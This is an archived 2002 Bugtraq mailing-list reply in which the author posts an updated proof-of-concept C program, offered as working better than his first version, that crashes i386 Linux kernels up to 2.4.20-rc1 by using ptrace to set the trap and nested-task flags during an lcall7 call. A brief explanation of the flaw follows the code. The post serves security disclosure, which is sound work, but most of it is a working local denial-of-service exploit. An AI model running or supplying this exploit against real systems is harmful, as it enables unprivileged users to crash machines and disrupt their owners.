Bugtraq mailing list archives
Re: i386 Linux kernel DoS
From: Christophe Devine <DEVINE () iie cnam fr>
Date: Wed, 13 Nov 2002 00:59:09 +0000
On Wed, 13 Nov 2002, Stefan Laudat wrote:
Regarding this issue: is it 80x86 or specifically 80386 designed ? Been trying it on AMD Duron, AMD Athlon MP, Intel i586 - just segfaults :(
Yep; the first version of the DoS I posted on bugtraq was defective and worked only under special conditions (inside gdb for example). However this updated version works much better: #include <sys/ptrace.h> struct user_regs_struct { long ebx, ecx, edx, esi, edi, ebp, eax; unsigned short ds, __ds, es, __es; unsigned short fs, __fs, gs, __gs; long orig_eax, eip; unsigned short cs, __cs; long eflags, esp; unsigned short ss, __ss; }; int main( void ) { int pid; char dos[] = "\x9A\x00\x00\x00\x00\x07\x00"; void (* lcall7)( void ) = (void *) dos; struct user_regs_struct d; if( ! ( pid = fork() ) ) { usleep( 1000 ); (* lcall7)(); } else { ptrace( PTRACE_ATTACH, pid, 0, 0 ); while( 1 ) { wait( 0 ); ptrace( PTRACE_GETREGS, pid, 0, &d ); d.eflags |= 0x4100; /* set TF and NT */ ptrace( PTRACE_SETREGS, pid, 0, &d ); ptrace( PTRACE_SYSCALL, pid, 0, 0 ); } } return 1; } At the beginning I thought only kernels <= 2.4.18 were affected; but it appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well. The flaw seems to be related to the kernel's handling of the nested task (NT) flag inside a lcall7. -- Christophe Devine
Current thread:
- i386 Linux kernel DoS Christophe Devine (Nov 13)
- <Possible follow-ups>
- RE: i386 Linux kernel DoS Leif Sawyer (Nov 15)
- Re: i386 Linux kernel DoS Christophe Devine (Nov 15)
- Re: i386 Linux kernel DoS Jirka Kosina (Nov 17)